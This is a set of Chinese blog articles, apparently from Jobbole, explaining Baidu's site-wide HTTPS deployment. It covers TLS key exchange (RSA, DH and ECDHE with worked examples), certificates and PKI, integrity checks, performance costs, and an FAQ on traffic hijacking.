由于客户端的 CPU 和操作系统种类比较多,所以计算耗时不能一概而论。手机端的 HTTPS 计算会比较消耗性能,单纯计算增加的延迟至少在 50ms 以上。PC 端也会增加至少 10ms 以上的计算延迟。

服务器的性能一般比较强,但由于 RSA 证书私钥长度远大于客户端,所以服务端的计算延迟也会在 5ms 以上。

3 结束语

本系列的后续文章将进一步解释针对性的优化措施。

大型网站的 HTTPS 实践(2):HTTPS 对性能的影响,首发于博客 – 伯乐在线

大型网站的 HTTPS 实践(1):HTTPS 协议和原理

1 前言

百度已经于近日上线了全站 HTTPS 的安全搜索,默认会将 HTTP 请求跳转成 HTTPS。本文重点介绍 HTTPS 协议, 并简单介绍部署全站 HTTPS 的意义。

2 HTTPS 协议概述

HTTPS 可以认为是 HTTP + TLS。HTTP 协议大家耳熟能详了,目前大部分 WEB 应用和网站都是使用 HTTP 协议传输的。

TLS 是传输层加密协议,它的前身是 SSL 协议,最早由 netscape 公司于 1995 年发布,1999 年经过 IETF 讨论和规范后,改名为 TLS。如果没有特别说明,SSL 和 TLS 说的都是同一个协议。

HTTP 和 TLS 在协议层的位置以及 TLS 协议的组成如下图:

图 1 TLS 协议格式

TLS 协议主要有五部分:应用数据层协议,握手协议,报警协议,加密消息确认协议,心跳协议。

TLS 协议本身又是由 record 协议传输的,record 协议的格式如上图最右所示。

目前常用的 HTTP 协议是 HTTP1.1,常用的 TLS 协议版本有如下几个:TLS1.2, TLS1.1, TLS1.0 和 SSL3.0。其中 SSL3.0 由于 POODLE 攻击已经被证明不安全,但统计发现依然有不到 1% 的浏览器使用 SSL3.0。TLS1.0 也存在部分安全漏洞,比如 RC4 和 BEAST 攻击。

TLS1.2 和 TLS1.1 暂时没有已知的安全漏洞,比较安全,同时有大量扩展提升速度和性能,推荐大家使用。

需要关注一点的就是 TLS1.3 将会是 TLS 协议一个非常重大的改革。不管是安全性还是用户访问速度都会有质的提升。不过目前没有明确的发布时间。

同时 HTTP2 也已经正式定稿,这个由 SPDY 协议演化而来的协议相比 HTTP1.1 又是一个非常重大的变动,能够明显提升应用层数据的传输效率。

3 HTTPS 功能介绍

百度使用 HTTPS 协议主要是为了保护用户隐私,防止流量劫持。

HTTP 本身是明文传输的,没有经过任何安全处理。例如用户在百度搜索了一个关键字,比如“苹果手机”,中间者完全能够查看到这个信息,并且有可能打电话过来骚扰用户。也有一些用户投诉使用百度时,发现首页或者结果页面浮了一个很长很大的广告,这也肯定是中间者往页面插的广告内容。如果劫持技术比较低劣的话,用户甚至无法访问百度。

这里提到的中间者主要指一些网络节点,是用户数据在浏览器和百度服务器中间传输必须要经过的节点。比如 WIFI 热点,路由器,防火墙,反向代理,缓存服务器等。

在 HTTP 协议下,中间者可以随意嗅探用户搜索内容,窃取隐私甚至篡改网页。不过 HTTPS 是这些劫持行为的克星,能够完全有效地防御。

总体来说,HTTPS 协议提供了三个强大的功能来对抗上述的劫持行为:

1,  内容加密。浏览器到百度服务器的内容都是以加密形式传输,中间者无法直接查看原始内容。

2,  身份认证。保证用户访问的是百度服务,即使被 DNS 劫持到了第三方站点,也会提醒用户没有访问百度服务,有可能被劫持

3,  数据完整性。防止内容被第三方冒充或者篡改。

那 HTTPS 是如何做到上述三点的呢?下面从原理角度介绍一下。

4 HTTPS 原理介绍

4.1 内容加密

加密算法一般分为两种,对称加密和非对称加密。所谓对称加密(也叫密钥加密)就是指加密和解密使用的是相同的密钥。而非对称加密(也叫公钥加密)就是指加密和解密使用了不同的密钥。

pic2

图 2 对称加密

图 3 非对称加密

对称内容加密强度非常高,一般破解不了。但存在一个很大的问题就是无法安全地生成和保管密钥。假如客户端软件和服务器之间每次会话都使用固定的,相同的密钥加密和解密,肯定存在很大的安全隐患。如果有人从客户端端获取到了对称密钥,整个内容就不存在安全性了,而且管理海量的客户端密钥也是一件很复杂的事情。

非对称加密主要用于密钥交换(也叫密钥协商),能够很好地解决这个问题。浏览器和服务器每次新建会话时都使用非对称密钥交换算法协商出对称密钥,使用这些对称密钥完成应用数据的加解密和验证,整个会话过程中的密钥只在内存中生成和保存,而且每个会话的对称密钥都不相同(除非会话复用),中间者无法窃取。

非对称密钥交换很安全,但同时也是 HTTPS 性能和速度严重降低的“罪魁祸首”。想要知道 HTTPS 为什么影响速度,为什么消耗资源,就一定要理解非对称密钥交换的整个过程。

下面重点介绍一下非对称密钥交换的数学原理及在 TLS 握手过程中的应用。

4.1.1 非对称密钥交换

在非对称密钥交换算法出现以前,对称加密一个很大的问题就是不知道如何安全生成和保管密钥。非对称密钥交换过程主要就是为了解决这个问题,使得对称密钥的生成和使用更加安全。

密钥交换算法本身非常复杂,密钥交换过程涉及到随机数生成,模指数运算,空白补齐,加密,签名等操作。

常见的密钥交换算法有 RSA,ECDHE,DH,DHE 等算法。它们的特性如下:

  •  RSA:算法实现简单,诞生于 1977 年,历史悠久,经过了长时间的破解测试,安全性高。缺点就是需要比较大的素数(目前常用的是 2048 位)来保证安全强度,很消耗 CPU 运算资源。RSA 是目前唯一一个既能用于密钥交换又能用于证书签名的算法。
  • DH:diffie-hellman 密钥交换算法,诞生时间比较早(1977 年),但是 1999 年才公开。缺点是比较消耗 CPU 性能。
  • ECDHE:使用椭圆曲线(ECC)的 DH 算法,优点是能用较小的素数(256 位)实现 RSA 相同的安全等级。缺点是算法实现复杂,用于密钥交换的历史不长,没有经过长时间的安全攻击测试。
  •  ECDH:不支持 PFS,安全性低,同时无法实现 false start。
  •  DHE:不支持 ECC。非常消耗 CPU 资源。

建议优先支持 RSA 和 ECDH_RSA 密钥交换算法。原因是:

1,  ECDHE 支持 ECC 加速,计算速度更快。支持 PFS,更加安全。支持 false start,用户访问速度更快。

2,  目前还有至少 20% 以上的客户端不支持 ECDHE,我们推荐使用 RSA 而不是 DH 或者 DHE,因为 DH 系列算法非常消耗 CPU(相当于要做两次 RSA 计算)。

需要注意通常所说的 ECDHE 密钥交换默认都是指 ECDHE_RSA,使用 ECDHE 生成 DH 算法所需的公私钥,然后使用 RSA 算法进行签名最后再计算得出对称密钥。

非对称加密相比对称加密更加安全,但也存在两个明显缺点:

1,  CPU 计算资源消耗非常大。一次完全 TLS 握手,密钥交换时的非对称解密计算量占整个握手过程的 90% 以上。而对称加密的计算量只相当于非对称加密的 0.1%,如果应用层数据也使用非对称加解密,性能开销太大,无法承受。

2,  非对称加密算法对加密内容的长度有限制,不能超过公钥长度。比如现在常用的公钥长度是 2048 位,意味着待加密内容不能超过 256 个字节。

所以公钥加密目前只能用来作密钥交换或者内容签名,不适合用来做应用层传输内容的加解密。

非对称密钥交换算法是整个 HTTPS 得以安全的基石,充分理解非对称密钥交换算法是理解 HTTPS 协议和功能的关键。

下面分别通俗地介绍一下 RSA 和 ECDHE 在密钥交换过程中的应用。

4.1.1.1 RSA 密钥协商

4.1.1.1.1 RSA 算法介绍

RSA 算法的安全性是建立在乘法不可逆或者大数因子很难分解的基础上。RSA 的推导和实现涉及到了欧拉函数和费马定理及模反元素的概念,有兴趣的读者可以自行百度。

RSA 算法是统治世界的最重要算法之一,而且从目前来看,RSA 也是 HTTPS 体系中最重要的算法,没有之一。

RSA 的计算步骤如下:

1,  随机挑选两个质数 p, q,假设 p = 13, q = 19。 n = p * q = 13 * 19 = 247;

2,  ∅(n) 表示与整数 n 互质数的个数。如果 n 等于两个质数的积,则∅(n)=(p-1)(q-1) 挑选一个数 e,满足 1< e <∅(n) 并且 e 与互质,假设 e = 17;

3,  计算 e 关于 n 的模反元素, ed=1 mod ∅(n) , 由 e = 17 ,∅(n) =216  可得 d = 89;

4,  求出了 e,和 d,假设明文 m = 135,密文用 c 表示。那么加解密计算如下:

实际应用中,(n,e) 组成了公钥对,(n,d)组成了私钥对,其中 n 和 d 都是一个接近 22048的大数。即使现在性能很强的 CPU,想要计算 m≡c^d mod(n),也需要消耗比较大的计算资源和时间。

公钥对 (n, e) 一般都注册到了证书里,任何人都能直接查看,比如百度证书的公钥对如下图,其中最末 6 个数字(010001)换算成 10 进制就是 65537,也就是公钥对中的 e。e 取值比较小的好处有两个:

1,  由 c=m^e mod(n) 可知,e 较小,客户端 CPU 计算消耗的资源较少。

2,  加大 server 端的破解难度。e 比较小,私钥对中的 d 必然会非常大。所以 d 的取值空间也就非常大,增加了破解难度。

那为什么 (n,e) 能做为公钥公开,甚至大家都能直接从证书中查看到,这样安全吗?分析如下:

由于 ed≡1 mod ∅(n),知道了 e 和 n,想要求出私钥 d,就必须知道∅(n)。而∅(n)=(p-1)*(q-1),必须计算出 p 和 q 才能确定私钥 d。但是当 n 大到一定程度时(比如接近 2^2048),即使现在最快的 CPU 也无法进行这个因式分解,即无法知道 n 是由哪个数 p 和 q 乘出来的。所以就算知道了公钥,整个加解密过程还是非常安全的。

图 5 百度 HTTPS 证书公钥

4.1.1.1.2 握手过程中的 RSA 密钥协商

介绍完了 RSA 的原理,那最终会话所需要的对称密钥是如何生成的呢?跟 RSA 有什么关系?

以 TLS1.2 为例简单描述一下,省略跟密钥交换无关的握手消息。过程如下:

1,  浏览器发送 client_hello,包含一个随机数 random1。

2,  服务端回复 server_hello,包含一个随机数 random2,同时回复 certificate,携带了证书公钥 P。

3,  浏览器接收到 random2 之后就能够生成 premaster_secrect 以及 master_secrect。其中 premaster_secret 长度为 48 个字节,前 2 个字节是协议版本号,剩下的 46 个字节填充一个随机数。结构如下:

Struct {byte Version[2];bute random[46];}

master secrect 的生成算法简述如下:

Master_key = PRF(premaster_secret, “master secrect”, 随机数1+随机数2)其中 PRF 是一个随机函数,定义如下:PRF(secret, label, seed) = P_MD5(S1, label + seed)  XOR  P_SHA-1(S2, label + seed)

而 master secrect 包含了六部分内容,分别是用于校验内容一致性的密钥,用于对称内容加解密的密钥,以及初始化向量(用于 CBC 模式),客户端和服务端各一份。从上式可以看出,把 premaster_key 赋值给 secret,”master key”赋值给 label,浏览器和服务器端的两个随机数做种子就能确定地求出一个 48 位长的随机数。

至此,浏览器侧的密钥已经完成协商。

4,  浏览器使用证书公钥 P 将 premaster_secrect 加密后发送给服务器。

5,  服务端使用私钥解密得到 premaster_secrect。又由于服务端之前就收到了随机数 1,所以服务端根据相同的生成算法,在相同的输入参数下,求出了相同的 master secrect。

RSA 密钥协商握手过程图示如下:

图 6 RSA 密钥协商过程

可以看出,密钥协商过程需要 2 个 RTT,这也是 HTTPS 慢的一个重要原因。而 RSA 发挥的关键作用就是对 premaster_secrect 进行了加密和解密。中间者不可能破解 RSA 算法,也就不可能知道 premaster_secrect,从而保证了密钥协商过程的安全性。

4.1.1.2 ECDHE 密钥协商

4.1.1.2.1 DH 与 ECC 算法原理

ECDHE 算法实现要复杂很多,主要分为两部分:diffie-hellman 算法(简称为 DH)及 ECC(椭圆曲线算术)。他们的安全性都是建立在离散对数计算很困难的基础上。

简单介绍一下 dh 算法的实现,先介绍两个基本概念:

  • 本原根:如果整数 a 是素数 p 的本原根,则 a, a^2, …, a^(p-1) 在 mod p 下都不相同。
  •  离散对数:对任意整数 b 和素数 p 的本原根 a,存在唯一的指数 i 满足:

b ≡ a^i mod p (0≤i≤p-1)

则称 i 是 b 的以 a 为底的模 p 的离散对数。

理解这两个概念,dh 算法就非常简单了,示例如下:

假设 client 和 server 需要协商密钥,p=2579,则本原根 a = 2。

1,  Client 选择随机数 Kc = 123 做为自己的私钥,计算 Yc = a^Kc  mod p = 2^123 mod 2579 = 2400,把 Yc 作为公钥发送给 server。

2,  Server 选择随机数 Ks = 293 作为私钥,计算 Ys = a^Ks  mod p = s^293 mod 2579 = 968,把 Ys 作为公钥发送给 client。

3,  Client 计算共享密钥:secrect =  Ys^Kc mod (p) = 968^123  mod(2579) = 434

4,  Server 计算共享密钥:secrect = Yc^Ks mod(p) =2400^293 mod(2579) =434

上述公式中的 Ys,Yc,P, a, 都是公开信息,可以被中间者查看,只有 Ks,Kc 作为私钥没有公开,当私钥较小时,通过穷举攻击能够计算出共享密钥,但是当私钥非常大时,穷举攻击肯定是不可行的。

DH 算法有一个比较大的缺陷就是需要提供足够大的私钥来保证安全性,所以比较消耗 CPU 计算资源。ECC 椭圆曲线算术能够很好的解决这个问题,224 位的密钥长度就能达到 RSA2048 位的安全强度。

ECC 的曲线公式描述的其实不是椭圆,只是跟椭圆曲线周长公式形似才叫椭圆曲线加密算术。ECC 涉及到了有限域、群等近世代数的多个概念,就不做详细介绍了。

ECC 安全性依赖于这样一个事实:

P = kQ, 已知 k, Q 求出 P 相对简单,但是已知 P 和 Q 求出 k 却非常困难。

上式看起来非常简单,但有如下约束条件:

1,  Q 是一个非常大的质数,p, k, q 都是椭圆曲线有限域上的离散点。

2,  有限域定义了自己的加法和乘法法则,即使 kQ 的运算也非常复杂。

ECC 应用于 Diffie-Hellman 密钥交换过程如下:

1,  定义一个满足椭圆方程的有限域,即挑选 p, a, b 满足如下方程:

y^2 mod p = (x^3+ax +b) mod p

2,  挑选基点 G = (x, y),G 的阶为 n。n 为满足 nG = 0 的最小正整数。

3,  Client 选择私钥 Kc (0 <Kc<n ),产生公钥 Yc =Kc *G

4,  server 选择私钥 Ks 并产生公钥 Ys =Ks*G

5,  client 计算共享密钥 K = Kc*Ys   ,server 端计算共享密钥 Ks*Yc ,这两者的结果是一样的,因为:

Kc*Ys = Kc*(Ks*G) = Ks*(Kc*G) = Ks*Yc

由上面描述可知,只要确定 p, a, b 就能确定一条有限域上的椭圆曲线,由于不是所有的椭圆曲线都能够用于加密,所以 p, a, b 的选取非常讲究,直接关系曲线的安全性和计算速度。

Openssl 实现的,也是 FIPS 推荐的 256 位素数域上的椭圆曲线参数定义如下:

质数 p = 115792089210356248762697446949407573530086143415290314195533631308867097853951 阶 n = 115792089210356248762697446949407573529996955224135760342422259061068512044369SEED = c49d3608 86e70493 6a6678e1 139d26b7 819f7e90c = 7efba166 2985be94 03cb055c 75d4f7e0 ce8d84a9 c5114abcaf317768 0104fa0d 椭圆曲线的系数 a = 0 椭圆曲线的系统 b = 5ac635d8 aa3a93e7 b3ebbd55 769886bc 651d06b0 cc53b0f63bce3c3e 27d2604b 基点 G x = 6b17d1f2 e12c4247 f8bce6e5 63a440f2 77037d81 2deb33a0f4a13945 d898c296 基点 G y = 4fe342e2 fe1a7f9b 8ee7eb4a 7c0f9e16 2bce3357 6b315ececbb64068 37bf51f5

4.1.1.2.2 握手过程中的 ECDHE 密钥协商

简单介绍了 ECC 和 DH 算法的数学原理,我们看下 ECDHE 在 TLS 握手过程中的应用。

相比 RSA,ECDHE 需要多发送一个 server_key_exchange 的握手消息才能完成密钥协商。

同样以 TLS1.2 为例,简单描述一下过程:

1,  浏览器发送 client_hello,包含一个随机数 random1,同时需要有 2 个扩展:

a)         Elliptic_curves:客户端支持的曲线类型和有限域参数。现在使用最多的是 256 位的素数域,参数定义如上节所述。

b)        Ec_point_formats:支持的曲线点格式,默认都是 uncompressed。

2,  服务端回复 server_hello,包含一个随机数 random2 及 ECC 扩展。

3,  服务端回复 certificate,携带了证书公钥。

4,  服务端生成 ECDH 临时公钥,同时回复 server_key_exchange,包含三部分重要内容:

a)         ECC 相关的参数。

b)        ECDH 临时公钥。

c)         ECC 参数和公钥生成的签名值,用于客户端校验。

5,  浏览器接收 server_key_exchange 之后,使用证书公钥进行签名解密和校验,获取服务器端的 ECDH 临时公钥,生成会话所需要的共享密钥。

至此,浏览器端完成了密钥协商。

6,  浏览器生成 ECDH 临时公钥和 client_key_exchange 消息,跟 RSA 密钥协商不同的是,这个消息不需要加密了。

7,  服务器处理 client_key_exchang 消息,获取客户端 ECDH 临时公钥。

8,  服务器生成会话所需要的共享密钥。

9,  Server 端密钥协商过程结束。

图示如下:

图 7 ECDHE 密钥协商过程

4.1.2 对称内容加密

非对称密钥交换过程结束之后就得出了本次会话需要使用的对称密钥。对称加密又分为两种模式:流式加密和分组加密。流式加密现在常用的就是 RC4,不过 RC4 已经不再安全,微软也建议网站尽量不要使用 RC4 流式加密

一种新的替代 RC4 的流式加密算法叫 ChaCha20,它是 google 推出的速度更快,更安全的加密算法。目前已经被 android 和 chrome 采用,也编译进了 google 的开源 openssl 分支 —boring ssl,并且nginx 1.7.4 也支持编译 boringssl

分组加密以前常用的模式是 AES-CBC,但是 CBC 已经被证明容易遭受BEASTLUCKY13 攻击。目前建议使用的分组加密模式是 AES-GCM,不过它的缺点是计算量大,性能和电量消耗都比较高,不适用于移动电话和平板电脑。

4.2 身份认证

身份认证主要涉及到 PKI 和数字证书。通常来讲 PKI(公钥基础设施)包含如下部分:

  • End entity:终端实体,可以是一个终端硬件或者网站。
  • CA:证书签发机构。
  • RA:证书注册及审核机构。比如审查申请网站或者公司的真实性。
  • CRL issuer:负责证书撤销列表的发布和维护。
  • Repository:负责数字证书及 CRL 内容存储和分发。

申请一个受信任的数字证书通常有如下流程:

1,  终端实体生成公私钥和证书请求。

2,  RA 检查实体的合法性。如果个人或者小网站,这一步不是必须的。

3,  CA 签发证书,发送给申请者。

4,  证书更新到 repository,终端后续从 repository 更新证书,查询证书状态等。

目前百度使用的证书是 X509v3 格式,由如下三个部分组成:

1,  tbsCertificate(to be signed certificate 待签名证书内容),这部分包含了 10 个要素,分别是版本号,序列号,签名算法标识,发行者名称,有效期,证书主体名,证书主体公钥信息,发行商唯一标识,主体唯一标识,扩展等。

2,  signatureAlgorithm,签名算法标识,指定对 tbsCertificate 进行签名的算法。

3,  signaturValue(签名值),使用 signatureAlgorithm 对 tbsCertificate 进行计算得到签名值。

数字证书有两个作用:

1,  身份授权。确保浏览器访问的网站是经过 CA 验证的可信任的网站。

2,  分发公钥。每个数字证书都包含了注册者生成的公钥。在 SSL 握手时会通过 certificate 消息传输给客户端。比如前文提到的 RSA 证书公钥加密及 ECDHE 的签名都是使用的这个公钥。

申请者拿到 CA 的证书并部署在网站服务器端,那浏览器发起握手接收到证书后,如何确认这个证书就是 CA 签发的呢?怎样避免第三方伪造这个证书?

答案就是数字签名(digital signature)。数字签名是证书的防伪标签,目前使用最广泛的 SHA-RSA 数字签名的制作和验证过程如下:

1,  数字签名的签发。首先是使用哈希函数对待签名内容进行安全哈希,生成消息摘要,然后使用 CA 自己的私钥对消息摘要进行加密。

2,  数字签名的校验。使用 CA 的公钥解密签名,然后使用相同的签名函数对待签名证书内容进行签名并和服务端数字签名里的签名内容进行比较,如果相同就认为校验成功。

图 8 数字签名生成及校验

这里有几点需要说明:

  1. 数字签名签发和校验使用的密钥对是 CA 自己的公私密钥,跟证书申请者提交的公钥没有关系。
  2. 数字签名的签发过程跟公钥加密的过程刚好相反,即是用私钥加密,公钥解密。
  3. 现在大的 CA 都会有证书链,证书链的好处一是安全,保持根 CA 的私钥离线使用。第二个好处是方便部署和撤销,即如果证书出现问题,只需要撤销相应级别的证书,根证书依然安全。
  4. 根 CA 证书都是自签名,即用自己的公钥和私钥完成了签名的制作和验证。而证书链上的证书签名都是使用上一级证书的密钥对完成签名和验证的。
  5. 怎样获取根 CA 和多级 CA 的密钥对?它们是否可信?当然可信,因为这些厂商跟浏览器和操作系统都有合作,它们的公钥都默认装到了浏览器或者操作系统环境里。比如firefox 就自己维护了一个可信任的 CA 列表,而chrome 和 IE 使用的是操作系统的 CA 列表

4.3 数据完整性

这部分内容比较好理解,跟平时的 md5 签名类似,只不过安全要求要高很多。openssl 现在使用的完整性校验算法有两种:MD5 或者 SHA。由于 MD5 在实际应用中存在冲突的可能性比较大,所以尽量别采用 MD5 来验证内容一致性。SHA 也不能使用 SHA0 和 SHA1,中国山东大学的王小云教授在 2005 年就宣布破解了 SHA-1 完整版算法

微软和 google 都已经宣布 16 年及 17 年之后不再支持 sha1 签名证书。

5 HTTPS 使用成本

HTTPS 目前唯一的问题就是它还没有得到大规模应用,受到的关注和研究都比较少。至于使用成本和额外开销,完全不用太过担心。

一般来讲,使用 HTTPS 前大家可能会非常关注如下问题:

  1. 证书费用以及更新维护。大家觉得申请证书很麻烦,证书也很贵,可是证书其实一点都不贵,便宜的一年几十块钱,最多也就几百。而且现在也有了免费的证书机构,比如著名的 mozilla 发起的免费证书项目:let’s encrypt(https://letsencrypt.org/)就支持免费证书安装和自动更新。这个项目将于今年中旬投入正式使用。

数字证书的费用其实也不高,对于中小网站可以使用便宜甚至免费的数字证书服务(可能存在安全隐患),像著名的 verisign 公司的证书一般也就几千到几万块一年不等。当然如果公司对证书的需求比较大,定制性要求高,可以建立自己的 CA 站点,比如 google,能够随意签发 google 相关证书。

  1. HTTPS 降低用户访问速度。HTTPS 对速度会有一定程度的降低,但是只要经过合理优化和部署,HTTPS 对速度的影响完全可以接受。在很多场景下,HTTPS 速度完全不逊于 HTTP,如果使用 SPDY,HTTPS 的速度甚至还要比 HTTP 快。

大家现在使用百度 HTTPS 安全搜索,有感觉到慢吗?

  1. HTTPS 消耗 CPU 资源,需要增加大量机器。前面介绍过非对称密钥交换,这是消耗 CPU 计算资源的大户,此外,对称加解密,也需要 CPU 的计算。

同样地,只要合理优化,HTTPS 的机器成本也不会明显增加。对于中小网站,完全不需要增加机器也能满足性能需求。

6 后记

国外的大型互联网公司很多已经启用了全站 HTTPS,这也是未来互联网的趋势。国内的大型互联网并没有全站部署 HTTPS,只是在一些涉及账户或者交易的子页面 / 子请求上启用了 HTTPS。百度搜索首次全站部署 HTTPS,对国内互联网的全站 HTTPS 进程必将有着巨大的推动作用。

目前互联网上关于 HTTPS 的中文资料比较少,本文就着重介绍了 HTTPS 协议涉及到的重要知识点和平时不太容易理解的盲区,希望能对大家理解 HTTPS 协议有帮助。百度 HTTPS 性能优化涉及到大量内容,从前端页面、后端架构、协议特性、加密算法、流量调度、架构和运维、安全等方面都做了大量工作。本系列的文章将一一进行介绍。

大型网站的 HTTPS 实践(1):HTTPS 协议和原理,首发于博客 – 伯乐在线

百度全站 https FAQ:技术宅告诉你如何搜索更安全

你注意到了吗?百度已经全站实现 https 了! 

百度从 14 年开始对外开放了 https 的访问,并于 3 月初正式对全网用户进行了 https 跳转。 你也许会问,切换就切换呗,和我有啥关系?我平常用百度还不是照常顺顺当当的,没感觉到什么切换。 话说,平常我们呼吸空气也顺顺溜溜的,没有什么感觉,但要是没有了空气,那就没法愉快的生活了。https 对于互联网安全的重要性,正如空气对于我们人类的重要性一样。百度全站切换到 https 之后,我们才可以愉快的搜索,愉快的上网。 https 究竟是如何实现让我们更加安全呢,让百度技术宅来个深度揭秘:

问题 1:https 是什么?我有没有用到 https?

https 是 http over ssl(Secure Socket Layer),简单讲就是 http 的安全版本,在 http 的基础上通过传输加密和身份认证保证了传输过程中的安全性。你通常访问的网站大部分都是 http 的,最简单的方法可以看看网址是以 http:// 开头还是https:// 开头。 以下几个截图就是 chrome,firefox,IE10 在使用 https 时的效果。 注意图中绿色的部分, 我们后面详细说说。 想进一步了解 HTTPS,可以阅读《大型网站的 HTTPS 实践(一)– HTTPS 协议和原理》

问题 2:https 为什么比 http 安全?https 加密是不是需要我在电脑上安装证书 / 保存密码?

不带“s”的 http 不安全,主要是因为它传输的是明文内容, 也不对传输双方进行身份验证。只要在数据传输路径的任何一个环节上,都能看到传输的内容,甚至对其进行修改。例如一篇文章”攻下隔壁女生路由器后, 我都做了些什么”中,很多攻击的环节,都是通过分析 http 的内容来进行。而在现实生活中呢,你很有可能泄露你的论坛高级会员账号 / 密码,游戏 vip 账号 / 密码,隐私的聊天内容,邮件,在线购物信息,等等。实在是太可怕的有木有! https 之所以安全,是因为他利用 ssl/tls 协议传输。举个简单的例子,电影风语者中,美军发现密码经常被日本窃听和破解,就征召了 29 名印第安纳瓦霍族人作为译电员,因为这语言只有他们族人懂。即使日本人窃听了电文,但是看不懂内容也没用;想伪造命令也无从下手,修改一些内容的话,印第安人看了,肯定会说看(shen)不(me)懂(gui)。看到这里,你肯定发现了,这是基于两边都有懂这个语言(加密解密规则)的人才行啊,那么我的电脑上需要安装什么密钥或者证书吗?一般情况作为普通用户是不用考虑这些的,我们有操作系统,浏览器,数学家,安全和网络工程师等等, 帮你都做好了, 放心的打开浏览器用就好啦。 如果你实在好奇,想知道双方不用相同的密钥如何进行加密的,可以搜索下”公钥加密”(非对称加密),”RSA”,” DH 密钥交换”, “ssl 原理” “数字证书”等关键词。 有朋友会想了,不就是加密吗,我 wifi 密码都能破,找个工具分分钟就破解了。这个想法可不对, 虽然没有绝对的安全,但是可以极大增加破解所需要的成本,https 目前使用的加密方式是需要巨大的计算量(按照目前计算机的计算能力)才可能破解的,你会用世界上最强的超级计算机花费 100 年(只是一个比喻)去解密,看看 100 年前隔壁老王在百度上搜什么吗。

问题 3:百度为什么要上 https?

我们每天会处理用户投诉,比如说: 页面出现白页 / 出现某些奇怪的东西 返回了 403 的页面 搜索不了东西 搜索 url 带了小尾巴, 页面总要闪几次 页面弹窗广告 搜索个汽车就有人给我打电话推销 4s 店和保险什么的 … 各种千奇百怪的情况碰到过的请举手。 查来查去,很大一部分原因是有些坏人在数据的传输过程中修改百度的页面内容,窃听用户的搜索内容。悄悄告诉你,https 就是能解决这样问题的技术哦, 赶紧把浏览器首页改成https://www.baidu.com吧。 从方向上来说,HTTPS 也是未来的趋势,目前大家使用的 HTTP 还是 1.1/1.0 版本的,新的 HTTP2.0 版本的标准已经发布了。标准中涉及了加密的规范,虽然标准中没有强制使用,但是已经有很多浏览器实现声称他们只会支持基于加密连接的 HTTP2.0(https://http2.github.io/faq/#does-http2-require-encryption)。

问题 4:https 不就是在 http 后面加个 s,很难么?

  难,又不难。 它包含证书,卸载,流量转发,负载均衡,页面适配,浏览器适配,refer 传递等等等等。反正我指头肯定不够数。 对于一个超小型个人站点来说,技术宅 1 天就能搞定从申请证书到改造完成。如果是从零开始建设,会更容易。 但是对于百度搜索这种大胖纸来说,可就难了。 1 它一开始并不是为 https 设计的 2 内容丰富(内容本身的表现形式很多:图片,视频,flash,form 等等),种类丰富 (页面上除了自然结果,有视频,图片,地图,贴吧,百科 , 第三方的内容, app 等等)。 3 数据来源复杂,有几十个内部产品线的内容,几百个域名,成千上万个开发者的内容 4 百度在全国,甚至世界范围都有很多 idc 和 cdn 节点,都得覆盖到。 5 还不能因此拖慢了百度的速度 (国内使用 https 的银行, 在线交易的站点,有没有觉得很慢?) 6 上 https 本来就是为了更好的体验,可不能导致大家使用不稳定。 … 想了解更详细的内容,可以阅读《大型网站的 HTTPS 实践(四)– 协议层以外的实践 [1]》 Google 部署 https 花费了 1-2 年,13 年将证书从 1024 位升级到 2048 位花了 3 个月。百度也是去年就开放了入口和小流量,但是今年 3 月才进行全量上线,可以想像整体的复杂性。

问题 5:如何看待百度搜索支持全站 https?

国外的几个大型站点都 https 化了,这是未来互联网的趋势 (有兴趣的同学可以搜索下’http/2’ )。 对百度自身来说,https 能够保护用户体验,减少劫持 / 隐私泄露对用户的伤害。 很多人会有疑惑,我没有被劫持,百度上 https 有什么作用,反而让我变慢了一些。从我们的第一手数据可以看到,劫持的影响正越来越大,在法制不健全的环境下,它被当成一个产业,很多公司以它为生,不少以此创业的团队还拿到了风投。等它真正伤害到你的时候,你可能又会问我们为什么不做些什么。所以,我们宁愿早一些去面对它。 https 在国内的大型站点目前还只用在部分账户的登陆和支付等环节。百度也是国内第一个全站 https 的大型站点,它的用户非常多,流量也很大。百度能够上线 https 会打消大家的疑虑,对其他国内的站点是很好的示范,这个带头作用会显著加速国内互联网 https 的进程,有助于中国互联网的网络安全建设。百度作为搜索引擎,是流量的入口和分发的渠道,后续如果对 https 的站点内容的抓取,标记,权值倾斜,那么更能引导互联网的网站向 https 进行迁移。

问题 6:https 慢不慢?

繁重的计算和多次交互天然的影响了 https 的访问速度。。如果什么优化都不做,https 会明显慢很多。在百度已经进行过很多速度优化的条件下,如果站点本身已经做过常规优化,但是不针对 https 做优化,这种情况下我们实测的结果是 0.2-0.4 秒耗时的增加。如果是没有优化过的站点,慢 1 秒都不是梦。至于现在慢不慢呢,大家已经体验了这么多天了,有感觉吗? 答案:A 慢死了,你们在做啥?  B 有些慢啊  C 还行, 基本无感  D 啥, 我已经用了 https 了? 是不是选的 C 或者 D?喂喂,选 A 的那位 你打开别的网站慢么, 以前没有上 HTTPS 的时候慢么。。。隔壁老王在蹭你网呢。 所以,不是慢,是没有优化。

问题 7:https 耗性能吗?

答案是,握手的时候耗,建好连接之后就不太耗了。按照目前加密强度的计算开销,服务器支撑握手性能会下降 6-8 倍,但是如果建立好连接之后,服务器就几乎可能撑住打满网卡的 https 流量了。所以连接复用率的提升和计算性能的优化都是重点。可以阅读《大型网站的 HTTPS 实践(三)– 基于协议和配置的优化》

问题 8:劫持有些什么样的途经?

你的电脑,你设置的 dns,你的浏览器,你用的网络,都有可能被劫持。 简单和大家介绍下运营商的内容劫持是如何进行的,运营商会分析你的网络请求,它可以先于网站回包,也能修改数据包的内容。所以它可以让你跳转一次,在网址上加上小尾巴,也能在你访问的页面弹出小广告。 感兴趣的话,还可以通过这篇文章看看你的电脑如何被 lsp 劫持的《暗云木马

问题 9:https 解决了所有劫持问题吗?

俗话说有终有始,我们来说一说文章开始说的浏览器上的绿色标记。它标志着这个安全连接可信赖的级别。绿色通常是好的,黄色则是说明有些不安全,例如在 https 的页面中加载了 http 的资源,这样 http 的资源还是有被劫持的风险。 其实客户端,局域网的风险也很大,恶意插件,木马可以做很多事情,你使用的路由器,DNS 也比较脆弱。如果某个大型网站被标记为了红色,那你就更要小心了 (当然也可能是某个猴子忘记了续费替换证书,导致证书过期了),你有可能遭受了 ssl 劫持 (中间人攻击的一种),特别是遇到如下图提示的时候(访问一些自己签名的站点也会有类似的提示)。中间人攻击还有其他种类的,比如代理你的通信让你退化 http, 还可以利用注入根证书,可以让你浏览器还是绿色的标记,就问你怕不怕? 还是那句话,没有绝对的安全,但是我们可以尽量降低风险。 https 能够在绝大部分情况下保证互联网访问数据传输的安全,这是目前我们力所能及的工作。

